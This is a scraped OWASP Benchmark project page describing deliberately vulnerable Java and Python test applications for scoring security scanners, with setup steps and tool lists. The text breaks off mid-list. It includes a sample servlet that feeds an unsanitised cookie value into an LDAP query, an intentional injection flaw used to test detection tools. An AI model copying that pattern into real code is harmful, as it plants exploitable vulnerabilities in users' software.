"klicova_slova": "", "kanonicka": "https://owasp.org/www-project-benchmark/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Benchmark Project contains language specific test suites designed to evaluate the accuracy, coverage, and speed of automated software vulnerability detection tools.", "og:title": "OWASP Benchmark | OWASP Foundation", "og:url": "https://owasp.org/www-project-benchmark/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Benchmark"}, {"uroven": 2, "text": "OWASP Benchmark Project"}, {"uroven": 2, "text": "OWASP Benchmark for Java"}, {"uroven": 2, "text": "OWASP Benchmark for Python"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "OWASP Benchmark for Java Release History"}, {"uroven": 2, "text": "Potential future enhancements:"}, {"uroven": 2, "text": "Example Test Case"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Future Work"}, {"uroven": 2, "text": "Test Cases"}, {"uroven": 2, "text": "Requests"}, {"uroven": 2, "text": "Acknowledgements"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 2, "text": "Benchmark Project Scoring Philosophy"}, {"uroven": 2, "text": "Generating Benchmark Scores"}, {"uroven": 2, "text": "Reporting Format"}, {"uroven": 2, "text": "Benchmark Validity"}, {"uroven": 2, "text": "What is in the Benchmark for Java?"}, {"uroven": 2, "text": "What Can You Do With the Benchmark?"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 2, "text": "Getting, Building, and Running the Benchmark for Java"}, {"uroven": 2, "text": "Using a VM instead"}, {"uroven": 2, "text": "Running Free Static Analysis Tools Against the Benchmark for Java"}, {"uroven": 2, "text": "Generating Scorecards"}, {"uroven": 2, "text": "Generic Tips"}, {"uroven": 2, "text": "SAST Tools"}, {"uroven": 2, "text": "DAST Tools"}, {"uroven": 2, "text": "IAST Tools"}], "markdown": "# OWASP Benchmark\n\n## OWASP Benchmark Project\n\nThe OWASP Benchmark Project contains test suites in different languages along with scoring tools designed to evaluate the accuracy, coverage, and speed of automated software vulnerability detection tools for different programming languages. Without the ability to measure these tools, it is difficult to understand their strengths and weaknesses, and compare them to each other.\n\nOWASP Benchmark provides multiple fully runnable open source web application that contains thousands of exploitable test cases, each mapped to specific CWEs, which can be analyzed by any type of Application Security Testing (AST) tool, including SAST, DAST (like ZAP), and IAST tools. The intent is that all the vulnerabilities deliberately included in and scored by the Benchmark are actually exploitable so its a fair test for any kind of application vulnerability detection tool. The Benchmark also includes dozens of scorecard generators for numerous open source and commercial AST tools, and the set of supported tools is growing all the time.\n\n## OWASP Benchmark for Java\n\nThe initial version 1.0 of the OWASP Benchmark for Java was released in 2015. Version 1.2, which added a full web UI and other improvments was released in 2016 and has been maintained since that without substantial changes to the test cases.\n\n## OWASP Benchmark for Python\n\nThe Benchmark Project has just released an initial v0.1 version of a new OWASP Benchmark for Python, which we plan to work on refining and improving to get a v1.0 release out in early 2026.\n\n- [NSA’s Juliet for Java](https://samate.nist.gov/SARD/testsuite.php)\n- [The Web Application Vulnerability Scanner Evaluation Project (WAVSEP)](https://sectooladdict.blogspot.com/)\n\n---\n\n## Summary\n\nVersion 1.2 and forward of the OWASP Benchmark for Java is a fully executable web application, which means it is scannable by any kind of vulnerability detection tool. v1.2 has been limited to slightly less than 3,000 test cases, to make it easier for DAST tools to scan it (so it doesn’t take so long and they don’t run out of memory, or blow up the size of their database). The 1.2 release covers the same vulnerability areas that 1.1 covers. The bulk of the work was turning each test case into something that actually runs correctly and is fully exploitable, and then generating a UI on top that works in order to turn the test cases into a real running application.\n\nThe test case areas and quantities for the OWASP Benchmark for Java releases are:\n\n| Vulnerability Area | # of Tests in v1.1 | # of Tests in v1.2 | CWE Number |\n| --- | --- | --- | --- |\n| Command Injection | 2708 | 251 | 78 |\n| Weak Cryptography | 1440 | 246 | 327 |\n| Weak Hashing | 1421 | 236 | 328 |\n| LDAP Injection | 736 | 59 | 90 |\n| Path Traversal | 2630 | 268 | 22 |\n| Secure Cookie Flag | 416 | 67 | 614 |\n| SQL Injection | 3529 | 504 | 89 |\n| Trust Boundary Violation | 725 | 126 | 501 |\n| Weak Randomness | 3640 | 493 | 330 |\n| XPATH Injection | 347 | 35 | 643 |\n| XSS (Cross-Site Scripting) | 3449 | 455 | 79 |\n| **Total Test Cases** | **21,041** | **2,740** | |\n\nEach Benchmark version comes with a spreadsheet that lists every test case, the vulnerability category, the CWE number, and the expected result (true finding/false positive). Look for the file: expectedresults-VERSION#.csv in the project root directory.\n\nEvery test case is:\n\n- an HTTP Servlet\n- a true vulnerability or a false positive for a single CWE\n\n## OWASP Benchmark for Java Release History\n\n- Version 1.0 of the Benchmark for Java was released April 15, 2015 and had 20,983 test cases.\n- Version 1.1 of the Benchmark for Java was released May 23, 2015. The 1.1 release improved on the previous version by making sure that there are both true positives and false positives in every vulnerability area.\n- Version 1.2 was first released on June 5, 2016 (The 1.2beta was August 15, 2015). There have been constant tweaks to the v1.2 release since then.\n\n## Potential future enhancements:\n\n- All vulnerability types in the OWASP Top 10\n- Does the tool find flaws in libraries?\n- Does the tool find flaws spanning custom code and libraries?\n- Does tool handle web services? REST, XML, GWT, etc?\n- Does tool work with different app servers? Java platforms?\n- JSPs\n- More popular frameworks\n- Inversion of control\n- Reflection\n- Class loading\n- Annotations\n- Popular UI technologies (e.g., JavaScript frameworks)\n- Entirely new languages (C#, Python, etc.)\n\n## Example Test Case\n\nEach test case is a simple Java EE servlet. BenchmarkTest00001 in version 1.0 of the Benchmark was an LDAP Injection test with the following metadata in the accompanying BenchmarkTest00001.xml file:\n\n```\n\txml\n\t\n\tldapi\n\t00001\n\ttrue\n\t90\n\t\n```\n\nBenchmarkTest00001.java in the OWASP Benchmark for Java 1.0 simply reads in all the cookie values, looks for a cookie named “foo”, and uses the value of this cookie when performing an LDAP query. Here’s the code for BenchmarkTest00001.java:\n\n```\n\tjava\n\tpackage org.owasp.benchmark.testcode;\n\t\n\timport java.io.IOException;\n\t\n\timport javax.servlet.ServletException;\n\timport javax.servlet.annotation.WebServlet;\n\timport javax.servlet.http.HttpServlet;\n\timport javax.servlet.http.HttpServletRequest;\n\timport javax.servlet.http.HttpServletResponse;\n\t\n\t@WebServlet(\"/BenchmarkTest00001\")\n\tpublic class BenchmarkTest00001 extends HttpServlet {\n\t\t\n\t\tprivate static final long serialVersionUID = 1L;\n\t\t\n\t\t@Override\n\t\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t\tdoPost(request, response);\n\t\t}\n\t\n\t\t@Override\n\t\tpublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t\t// some code\n\t\n\t\t\tjavax.servlet.http.Cookie[] cookies = request.getCookies();\n\t\t\t\n\t\t\tString param = null;\n\t\t\tboolean foundit = false;\n\t\t\tif (cookies != null) {\n\t\t\t\tfor (javax.servlet.http.Cookie cookie : cookies) {\n\t\t\t\t\tif (cookie.getName().equals(\"foo\")) {\n\t\t\t\t\t\tparam = cookie.getValue();\n\t\t\t\t\t\tfoundit = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (!foundit) {\n\t\t\t\t\t// no cookie found in collection\n\t\t\t\t\tparam = \"\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// no cookies\n\t\t\t\tparam = \"\";\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\tjavax.naming.directory.DirContext dc = org.owasp.benchmark.helpers.Utils.getDirContext();\n\t\t\t\tObject[] filterArgs = {\"a\",\"b\"};\n\t\t\t\tdc.search(\"name\", param, filterArgs, new javax.naming.directory.SearchControls());\n\t\t\t} catch (javax.naming.NamingException e) {\n\t\t\t\tthrow new ServletException(e);\n\t\t\t}\n\t\t}\n\t}\n```\n\n---\n\n## Summary\n\nVersion 0.1 of the OWASP Benchmark for Python is a fully executable web application, which means it is scannable by any kind of vulnerability detection tool. v0.1 is a preliminary release that we plan to refine and improve over the next few months to get to a full v1.0 release that is similar to the level of completeness of the OWASP Benchmark for Java v1.2.\n\nThe test case areas and quantities for the initial OWASP Benchmark for Python v0.1 are:\n\n| Vulnerability Area | # of Tests in v0.1 | CWE Number |\n| --- | --- | --- |\n| Code Injection | 53 | 94 |\n| Command Injection | 20 | 78 |\n| Deserialization of Untrusted Data | 54 | 502 |\n| LDAP Injection | 29 | 90 |\n| Path Traversal | 168 | 22 |\n| Secure Cookie Flag | 39 | 614 |\n| SQL Injection | 16 | 89 |\n| Trust Boundary Violation | 37 | 501 |\n| Unchecked Redirects | 34 | 601 |\n| Weak Hashing | 151 | 328 |\n| Weak Randomness | 326 | 330 |\n| XPath Injection | 186 | 643 |\n| XSS (Cross-Site Scripting) | 89 | 79 |\n| XXE (XML eXternal Entity Injection) | 28 | 611 |\n| **Total Test Cases** | **1,230** | |\n\n## Future Work\n\nOther CWEs we might add:\n\n- Weak Cryptography - CWE 327\n- Regex DOS - CWE 1333\n\nWe will also likely work on trying to balance the number of true positives and false positives per test case category to be more even.\n\n## Test Cases\n\nEach Benchmark version comes with an expected results spreadsheet that lists every test case, the vulnerability category, the CWE number, and the expected result (true finding/false positive). Look for the file: expectedresults-VERSION#.csv in the project root directory.\n\nEvery test case is:\n\n- a single web page and web endpoint\n- a true vulnerability or a false positive for a single CWE\n\nThe structure and organization of the new Benchmark for Python is very similar to the OWASP Benchmark for Java v1.2.\n\n## Requests\n\nPlease provide us with feedback on any suggested fixes/improvements/bugs or tools you’d like to us to add scanning support for. As well as CWEs or Popular Python frameworks we should add test cases for.\n\n## Acknowledgements\n\nThe OWASP Benchmark project would like to thank the contributions of AppSecAI (https://www.appsecai.io) and their team members Theo Cartsonis and Jessica Salawu for doing the bulk of the development work to produce this first release of the Benchmark for Python test suite.\n\n---\n\n## Introduction\n\nOne of the unique things about OWASP Benchmark is that it is very easy to score a tool’s security analysis results against it. Each test case in Benchmark has a single intentional CWE that is either a True or False Positive. These are documented in the expectedresults-1.2.csv file. The project includes automated scorecard generators for dozens of security tools that can automatically score a tool’s results against Benchmark. The following describes the Benchmark scoring scheme, reporting format, and how to actually generate Benchmark scores for tools.\n\n## Benchmark Project Scoring Philosophy\n\nSecurity tools (SAST, DAST, and IAST) are amazing when they find a complex vulnerability in your code. But with widespread misunderstanding of the specific vulnerabilities automated tools cover, end users are often left with a false sense of security.\n\nWe are on a quest to measure just how good these tools are at discovering and properly diagnosing security problems in applications. We rely on the [long history](http://en.wikipedia.org/wiki/Receiver_operating_characteristic) of military and medical evaluation of detection technology as a foundation for our research. Therefore, the test suite tests both real and fake vulnerabilities.\n\nThere are four possible test outcomes in the Benchmark:\n\n1. Tool correctly identifies a real vulnerability (True Positive - TP)\n2. Tool fails to identify a real vulnerability (False Negative - FN)\n3. Tool correctly ignores a false alarm (True Negative - TN)\n4. Tool fails to ignore a false alarm (False Positive - FP)\n\nWe can learn a lot about a tool from these four metrics. Consider a tool that simply flags every line of code as vulnerable. This tool will perfectly identify all vulnerabilities! But it will also have 100% false positives and thus adds no value. Similarly, consider a tool that reports absolutely nothing. This tool will have zero false positives, but will also identify zero real vulnerabilities and is also worthless. You can even imagine a tool that flips a coin to decide whether to report whether each test case contains a vulnerability. The result would be 50% true positives and 50% false positives. We need a way to distinguish valuable security tools from these trivial ones.\n\nIf you imagine the line that connects all these points, from 0,0 to 100,100 establishes a line that roughly translates to “random guessing.” The ultimate measure of a security tool is how much better it can do than this line. The diagram below shows how we will evaluate security tools against the Benchmark.\n\nA point plotted on this chart provides a visual indication of how well a tool did considering both the True Positives the tool reported, as well as the False Positives it reported. We also want to compute an individual score for that point in the range 0 - 100, which we call the Benchmark Accuracy Score.\n\nThe Benchmark Accuracy Score is essentially a [Youden Index](https://en.wikipedia.org/wiki/Youden%27s_J_statistic), which is a standard way of summarizing the accuracy of a set of tests. Youden’s index is one of the oldest measures for diagnostic accuracy. It is also a global measure of a test performance, used for the evaluation of overall discriminative power of a diagnostic procedure and for comparison of this test with other tests. Youden’s index is calculated by deducting 1 from the sum of a test’s sensitivity and specificity expressed not as percentage but as a part of a whole number: (sensitivity + specificity) - 1. For a test with poor diagnostic accuracy, Youden’s index equals 0, and in a perfect test Youden’s index equals 1.\n\n```\ncode()\nSo for example, if a tool has a True Positive Rate (TPR) of .98 (i.e., 98%) \n and False Positive Rate (FPR) of .05 (i.e., 5%)\nSensitivity = TPR (.98)\nSpecificity = 1-FPR (.95)\nSo the Youden Index is (.98+.95) - 1 = .93\n\nAnd this would equate to a Benchmark score of 93 (since we normalize this to the range 0 - 100)\n```\n\nOn the graph, the Benchmark Score is the length of the line from the point down to the diagonal “guessing” line. Note that a Benchmark score can actually be negative if the point is below the line. This is caused when the False Positive Rate is actually higher than the True Positive Rate.\n\n## Generating Benchmark Scores\n\nAnyone can use this Benchmark to evaluate vulnerability detection tools. The basic steps are:\n\n1. Download the Benchmark from GitHub\n2. Run your tools against the Benchmark\n3. Run the BenchmarkScore tool on the reports from your tools\nThat’s it!\n\nFull details on how to do this are at the bottom of the page on the Quick Start tab.\n\nWe encourage both vendors, open-source tools, and end users to verify their application security tools against the Benchmark. In order to ensure that the results are fair and useful, we ask that you follow a few simple rules when publishing results. We won’t recognize any results that aren’t easily reproducible:\n\n1. A description of the default “out-of-the-box” installation, version numbers, etc.\n2. Any and all configuration, tailoring, onboarding, etc. performed to make the tool run\n3. Any and all changes to default security rules, tests, or checks used to achieve the results\n4. Easily reproducible steps to run the tool\n\n## Reporting Format\n\nThe Benchmark includes tools to interpret raw tool output, compare it to the expected results, and generate summary charts and graphs. We use the following table format in order to capture all the information generated during the evaluation.\n\n| Security Category | TP | FN | TN | FP | Total | TPR | FPR | Score |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| **General security category for test cases.** | **True Positives**: Tests with real vulnerabilities that were correctly reported as vulnerable by the tool. | **False Negative**: Tests with real vulnerabilities that were not correctly reported as vulnerable by the tool. | **True Negative**: Tests with fake vulnerabilities that were correctly not reported as vulnerable by the tool. | **False Positive**: Tests with fake vulnerabilities that were incorrectly reported as vulnerable by the tool. | Total test cases for this category. | **True Positive Rate**: TP / ( TP + FN ) - Also referred to as Recall, as defined at [Wikipedia](https://en.wikipedia.org/wiki/Precision_and_recall). | **False Positive Rate**: FP / ( FP + TN ). | Normalized distance from the “guess line” TPR - FPR. |\n| Command Injection | … | … | … | … | … | … | … | … |\n| Etc. | … | … | … | … | … | … | … | … |\n| | **Total TP** | **Total FN** | **Total TN** | **Total FP** | **Total TC** | **Average TPR** | **Average FPR** | **Average Score** |\n\n## Benchmark Validity\n\nTo be clear, the Benchmark tests are not exactly like real applications. The tests are derived from coding patterns observed in real applications, but the majority of them are considerably simpler than real applications. That is, most real-world applications will be considerably harder to successfully analyze than the OWASP Benchmark Test Suite. Although the tests are based on real code, it is possible that some tests may have coding patterns that don’t occur frequently in real code.\n\nRemember, we are trying to test the capabilities of the tools and make them explicit, so that users can make informed decisions about what tools to use, how to use them, and what results to expect. This is exactly aligned with the OWASP mission to make application security visible.\n\n---\n\n## What is in the Benchmark for Java?\n\nThe Benchmark for Java is a Java Maven project. Its primary component is thousands of test cases (e.g., BenchmarkTest00001.java), each of which is a single Java servlet that contains a single vulnerability (either a true positive or false positive). The vulnerabilities span about a dozen different CWEs currently.\n\nAn expectedresults.csv is published with each version of the Benchmark (e.g., expectedresults-1.2.csv) and it specifically lists the expected results for each test case. Here’s what the first two rows in this file looks like for version 1.1 of the Benchmark:\n\n```\n # test name\t\tcategory\treal vulnerability\tCWE\tBenchmark version: 1.1\t2015-05-22\n BenchmarkTest00001\tcrypto\t\tTRUE\t\t\t\t327\n```\n\nThis simply means that the first test case is a crypto test case (use of weak cryptographic algorithms), this is a real vulnerability (as opposed to a false positive), and this issue maps to CWE 327. It also indicates this expected results file is for Benchmark version 1.1 (produced May 22, 2015). There is a row in this file for each of the tens of thousands of test cases in the Benchmark. Each time a new version of the Benchmark is published, a new corresponding results file is generated and each test case can be completely different from one version to the next.\n\nThe Benchmark for Java also comes with a bunch of different utilities, commands, and prepackaged open source security analysis tools, all of which can be executed through Maven goals, including:\n\n- Open source vulnerability detection tools to be run against the Benchmark\n- A scorecard generator, which computes a scorecard for each of the tools you have results files for.\n\n## What Can You Do With the Benchmark?\n\n- Compile all the software in the Benchmark project (e.g., mvn compile)\n- Run a static vulnerability analysis tool (SAST) against the Benchmark test case code\n- Scan a running version of the Benchmark with a dynamic application security testing tool (DAST)\n - Instructions on how to run it are provided below\n- Generate scorecards for each of the tools you have results for\n - See the Tool Support/Results page for the list of tools the Benchmark supports generating scorecards for\n\n## Getting Started\n\nBefore downloading or using the Benchmark for Java make sure you have the following installed and configured properly:\n\n```\nGIT: https://git-scm.com/ or https://github.com/\nMaven: https://maven.apache.org/ (Version: 3.2.3 or newer works.)\nJava: https://www.oracle.com/java/technologies/javase-downloads.html (Java 7 or 8) (64-bit)\n```\n\n## Getting, Building, and Running the Benchmark for Java\n\nTo download and build everything:\n\n```\n$ git clone https://github.com/OWASP-Benchmark/BenchmarkJava\n$ cd BenchmarkJava\n$ mvn compile (This compiles it)\n$ runBenchmark.sh/.bat - This compiles and runs it.\n```\n\nThen navigate to: https://localhost:8443/benchmark/ to go to its home page. It uses a self signed SSL certificate, so you’ll get a security warning when you hit the home page.\n\nNote: We have set the Benchmark for Java app to use up to 6 Gig of RAM, which it may need when it is fully scanned by a DAST scanner. The DAST tool probably also requires 3+ Gig of RAM. As such, we recommend having a 16 Gig machine if you are going to try to run a full DAST scan. And at least 4 or ideally 8 Gig if you are going to play around with the running Benchmark app.\n\n## Using a VM instead\n\nWe have several preconstructed VMs or instructions on how to build one that you can use instead:\n\n- Docker: A Dockerfile is checked into the project here. This Docker file should automatically produce a Docker VM with the latest Benchmark project files. After you have Docker installed, cd to /VMs then run: `./buildDockerImage.sh --> This builds the Docker Benchmark VM (This will take a WHILE)\ndocker images --> You should see the new benchmark:latest image in the list provided\n# The Benchmark Docker Image only has to be created once.` To run the Benchmark in your Docker VM, just run: `./runDockerImage.sh --> This pulls in any updates to Benchmark since the Image was built, builds everything, and starts a remotely accessible Benchmark web app.` If successful, you should see this at the end: `[INFO]_[talledLocalContainer] Tomcat 8.x started on port [8443]\n[INFO] Press Ctrl-C to stop the container...` Then simply navigate to: https://localhost:8443/benchmark from the machine you are running Docker\n\nOr if you want to access from a different machine:\n\n```\n docker-machine ls (in a different terminal) --> To get IP Docker VM is exporting (e.g., tcp://192.168.99.100:2376)\n Navigate to: https://192.168.99.100:8443/benchmark in your browser (using the above IP as an example)\n```\n\n- Amazon Web Services (AWS) - Here’s how you set up the Benchmark on an AWS VM:\n\n```\nsudo yum install git\nsudo yum install maven\nsudo yum install mvn\nsudo wget http://repos.fedorapeople.org/repos/dchen/apache-maven/epel-apache-maven.repo -O /etc/yum.repos.d/epel-apache-maven.repo\nsudo sed -i s/\\$releasever/6/g /etc/yum.repos.d/epel-apache-maven.repo\nsudo yum install -y apache-maven\ngit clone https://github.com/OWASP-Benchmark/BenchmarkJava\ncd benchmark\nchmod 755 *.sh\n./runBenchmark.sh -- to run it locally on the VM.\n./runRemoteAccessibleBenchmark.sh -- to run it so it can be accessed outside the VM (on port 8443).\n```\n\n## Running Free Static Analysis Tools Against the Benchmark for Java\n\nThere are scripts for running each of the free SAST vulnerability detection tools included with the Benchmark against the Benchmark test cases. On Linux, you might have to make them executable (e.g., chmod 755 *.sh) before you can run them.\n\nGenerating Test Results for PMD:\n ./scripts/runPMD.sh (Linux) or .\\scripts\\runPMD.bat (Windows)\n\nGenerating Test Results for FindBugs:\n ./scripts/runFindBugs.sh (Linux) or .\\scripts\\runFindBugs.bat (Windows)\n\nGenerating Test Results for FindBugs with the FindSecBugs plugin:\n ./scripts/runFindSecBugs.sh (Linux) or .\\scripts\\runFindSecBugs.bat (Windows)\n\nIn each case, the script will generate a results file and put it in the /results directory. For example:\n Benchmark_1.2-findbugs-v3.0.1-1026.xml\n\nThis results file name is carefully constructed to mean the following: It’s a results file against the OWASP Benchmark for Java version 1.2, FindBugs was the analysis tool, it was version 3.0.1 of FindBugs, and it took 1026 seconds to run the analysis.\n\nNOTE: If you create a results file yourself, by running a commercial tool for example, you can add the version # and the compute time to the filename just like this and the Benchmark Scorecard generator will pick this information up and include it in the generated scorecard. If you don’t, depending on what metadata is included in the tool results, the Scorecard generator might do this automatically anyway.\n\n## Generating Scorecards\n\nThe scorecard generation application BenchmarkUtils (https://github.com/OWASP-Benchmark/BenchmarkUtils) needs to be cloned and installed with Maven. It parses the output files generated by any of the supported security tools run against the Benchmark and compares them against the expected results, and produces a set of web pages that detail the accuracy and speed of the tools involved. For the list of currently supported tools, check out the: Tools Support/Results tab. If you are using a tool that is not yet supported, simply send us a results file from that tool and we’ll write a parser for that tool and add it to the supported tools list.\n\nThe following command will compute a Benchmark scorecard for all the results files in the /results directory. The generated scorecard is put into the /scorecard directory.\n\n```\ncreateScorecard.sh (Linux) or createScorecard.bat (Windows)\n```\n\nAn example of a real scorecard for some open source tools is provided at the top of the Tool Support/Results tab so you can see what one looks like.\n\nWe recommend including the Benchmark version number in any results file name, in order to help prevent mismatches between the expected results and the actual results files. A tool will not score well against the wrong expected results.\n\n**Customizing Your Scorecard Generation**\n\nThe createScorecard scripts are very simple. They only have one line. Here’s what the 1.2 version looks like:\n\n```\norg.owasp:benchmarkutils-maven-plugin:create-scorecard\n```\n\nThis Maven command simply says to run the BenchmarkScore application. It automatically finds the expected results file in the same folder and uses it to generate the scorecard.\n\nIn all cases, the generated scorecard is put in the /scorecard folder.\n\n**WARNING: If you generate results for a commercial tool, be careful who you distribute it to. Each tool has its own license defining when any results it produces can be released/made public. It is likely to be against the terms of a commercial tool’s license to publicly release that tool’s score against the OWASP Benchmark. The OWASP Benchmark project takes no responsibility if someone else releases such results.** It is for just this reason that the Benchmark project isn’t releasing such results itself.\n\n---\n\nThe results, from several years ago, for 5 free tools, PMD, FindBugs, FindBugs with the FindSecBugs plugin, SonarQube, and ZAP are available here against version 1.2 of the Benchmark for Java: https://github.com/OWASP-Benchmark/BenchmarkJava/blob/master/scorecard/OWASP_Benchmark_Home.html. You’ll have to clone this Git repo and open the file locally. We included multiple versions of FindSecBugs’ and ZAP’s results so you can see the improvements they made finding vulnerabilities in Benchmark.\n\nWe have Benchmark for Java results for all the following tools, but haven’t publicly released the results for any commercial tools. However, we included a ‘Commercial Average’ page, which includes a summary of results for 6 commercial SAST tools in 2016 along with anonymous versions of each SAST tool’s scorecard.\n\nThe Benchmark Project can score results for the following tools (using BenchmarkUtils):\n\n**Free Static Application Security Testing (SAST) Tools (Both Open Source and Commercial):**\n\n- [Bandit(Python)](https://bandit.readthedocs.io/en/latest/) - .sarif results file\n- [Bearer(Python)](https://github.com/Bearer/bearer) - .json results file\n- [CodeQL](https://codeql.github.com/) - .sarif results file (Support for both Java and Python Benchmarks)\n- [Contrast CodeSec - Scan](https://www.contrastsecurity.com/try-contrast-security) - .json SARIF format results file\n- [FindBugs](http://findbugs.sourceforge.net/) - .xml results file\n - Note: FindBugs hasn’t been updated since 2015. Use SpotBugs instead (see below)\n- [Horusec](https://github.com/ZupIT/horusec) - .json results file\n- [Insider](https://github.com/insidersec/insider) - .json results file\n- [PMD](https://pmd.github.io/) (which really has no security rules) - .xml results file\n- [Precaution](https://github.com/securesauce/precli) - .sarif results file\n- [Semgrep Code](https://semgrep.dev/) - .sarif results file (.json format supported too)\n - e.g., semgrep -f https://semgrep.dev/p/r2c-security-audit . –sarif > results/Benchmark_1.2-Semgrep.sarif\n- [ShiftLeft Scan](https://github.com/ShiftLeftSecurity/sast-scan) - .json results file (found at reports/scan-full-report.json)\n- [Snyk Code](https://snyk.io/platform/snyk-cli/) - .sarif results file (note: –json produces the same sarif file)\n - e.g., snyk code test –sarif-file-output=results/Benchmark_1.2-Snyk.sarif\n- [SonarQube Community Edition](https://www.sonarqube.org/downloads/) - .xml results file\n- [SpotBugs](https://spotbugs.github.io/) - .xml results file. This is the successor to FindBugs.\n- SpotBugs with the [FindSecurityBugs plugin](https://find-sec-bugs.github.io/) - .xml results file\n- [Visual Code Grepper](https://sourceforge.net/projects/visualcodegrepp/) - [Soure Code here](https://github.com/nccgroup/VCG) - .xml results file\n\nMany free Open Source SAST tools come bundled with each Benchmark version so you can run them yourselves. Simply run script/runTOOLNAME.(sh/bat) and it puts the results into the /results directory automatically. There are scripts for running PMD, FindBugs, SpotBugs, and FindSecBugs on the Benchmark for Java, for example.\n\nNote: For Benchmark for Java, we looked into supporting [Checkstyle](https://checkstyle.sourceforge.io/) but it has no security rules, just like PMD. The [fb-contrib FindBugs plugin](http://fb-contrib.sourceforge.net/) doesn’t have any security rules either. We did test [Error Prone](https://errorprone.info/), and found that it does report some use of [insecure ciphers (CWE-327)](https://errorprone.info/bugpattern/InsecureCryptoUsage), but that’s it.\n\n**Commercial (non-Free) SAST Tools:**\n\n- [CAST Application Intelligence Platform (AIP), which is a component of CAST Imaging](https://doc.castsoftware.com/display/IMAGING/CAST+Imaging) - .xml results file\n- [Checkmarx SAST](https://checkmarx.com/cxsast-source-code-scanning/) - .xml results file\n- [Contrast Scan](https://www.contrastsecurity.com/contrast-scan) - .json SARIF format results file\n- [HCL AppScan Source (Standalone and Cloud)](https://www.hcltechsw.com/appscan/offerings/source) - .xml (or legacy .ozasmt) results file\n- [Julia Analyzer](https://juliasoft.com) - Acquired by Grammatech. No parser for this new solution yet.\n- [Kiuwan SAST](https://www.kiuwan.com/code-security-sast/) - .threadfix results file\n- [Mend SAST](https://www.mend.io/sast/) - Formerly WhiteSource and before that XANITIZER - .xml results file\n- [OpenText Fortify](https://www.opentext.com/products/static-application-security-testing) - .fpr results file (Java and Python)\n- [Parasoft Jtest](https://www.parasoft.com/products/parasoft-jtest/) - .xml results file\n- [Semmle LGTM](https://semmle.com/lgtm) - .sarif results file\n- [Qwiet Next Gen SAST (Was ShiftLeft SAST)](https://qwiet.ai/sast/) - .sl results file (Benchmark specific format. Ask vendor how to generate this.)\n- [SnappyTick Source Edition (SAST)](https://snappycodeaudit.com/category/static-code-analysis-tools) - .xml results file\n- [SonarQube Developer Edition (or greater)](https://www.sonarsource.com/products/sonarqube/downloads/) - .xml results file (same format as Free version)\n- [SourceMeter](https://www.sourcemeter.com) - .txt results file of ALL results from VulnerabilityHunter\n- [Black Duck Coverity SAST (On-Demand and stand-alone versions)](https://www.blackduck.com/static-analysis-tools-sast/coverity.html) - .json results file (You can scan Benchmark w/Coverity for free. See: https://scan.coverity.com/)\n- [Veracode SAST](https://www.veracode.com/products/binary-static-analysis-sast) - .xml results file\n\nWe are looking for results for other commercial SAST tools. If you have a license for any static analysis tool not already listed above and can run it on Benchmark and send us the results file that would be very helpful.\n\nIf you have a license for any commercial SAST tool, you can also run them against the Benchmark. Just put your results files in the /results folder of the project, and then run createScorecards.sh/.bat and it will generate a scorecard in the /scorecard directory for all the tool results you have that are currently supported.\n\n**Free Dynamic Application Security Testing (DAST) Tools (Both Open Source and Commercial):**\n\nNote: While we support scorecard generators for these Free and Commercial DAST tools, it can be difficult to get a full/clean run against the Benchmark. As such, some of these scorecard generators might need some additional work to properly reflect their results. If you notice any problems, let us know.\n\n- [Arachni](https://www.arachni-scanner.com/) - .xml results file\n - To generate .xml, run: ./bin/arachni_reporter “Your_AFR_Results_Filename.afr” –reporter=xml:outfile=Benchmark1.2-Arachni.xml\n- [Burp Suite Community Edition](https://portswigger.net/burp/communitydownload) - .xml results file\n * To generate XML results: click on benchmark in site map so you see ALL findings in Issues pane. Then select ALL issues in Issues pane, right-click and select ‘Report selected issues’. Select XML, then next, next, next, and save to file. To reduce size of results file, you can eliminate all the details, and not include requests/responses, which reduces the file size by 2/3rds.\n- [ZAP](https://www.zaproxy.org/) - .json or .xml results file. To generate a complete ZAP results file so you can generate a valid scorecard, make sure you:\n - Tools > Options > Alerts - And set the Max alert instances to like 500.\n - Then: Report > Generate XML Report…\n- [Wapiti](https://wapiti.sourceforge.io/) - .json or .xml results file.\n\n**Commercial (non-Free) DAST Tools:**\n\n- [Acunetix Web Vulnerability Scanner (WVS)](https://www.acunetix.com/vulnerability-scanner/) - .xml results file ( [see Exporting Scan Results (Generic XML export))](https://www.acunetix.com/resources/wvs11manual.pdf) was the command line /ExportXML switch) or .xml results file from Acunetix 360\n- [Burp Suite Pro](https://portswigger.net/burp/pro) - .xml results file\n - To generate XML results: click on benchmark in site map so you see ALL findings in Issues pane. Then select ALL issues in Issues pane, right-click and select ‘Report selected issues’. Select XML, then next, next, next, and save to file. To reduce size of results file, you can eliminate all the details, and not include requests/responses, which reduces the file size by 2/3rds.\n- [Fluid Attacks DAST](https://fluidattacks.com) - .csv results file\n- [HCL AppScan Standard](https://www.hcltechsw.com/appscan/offerings/standard) - .xml results file\n- [Micro Focus Fortify WebInspect](https://www.microfocus.com/en-us/products/webinspect-dynamic-analysis-dast/overview) - .xml results file\n- [Netsparker](https://www.netsparker.com/web-vulnerability-scanner/) - .xml results file\n- [Qualys Web App Scanner](https://www.qualys.com/apps/web-app-scanning/) - .xml results file\n- [Rapid7 AppSpider](https://www.rapid7.com/products/appspider/) - .xml results file\n\nIf you have access to other DAST Tools, PLEASE RUN THEM FOR US against the Benchmark, and send us the results file so we can build a scorecard generator for that tool.\n\n**Commercial Interactive Application Security Testing (IAST) Tools:**\n\n- [Checkmarx CxIAST](https://www.checkmarx.com/products/interactive-application-security-testing) - .csv results file\n- [Contrast Assess](https://www.contrastsecurity.com/contrast-assess) - .log results file\n - You can scan Benchmark w/Contrast Assess for free. See: [https://www.contrastsecurity.com/contrast-community-edition](https://www.contrastsecurity.com/contrast-community-edition)\n- [Datadog Application Vulnerability 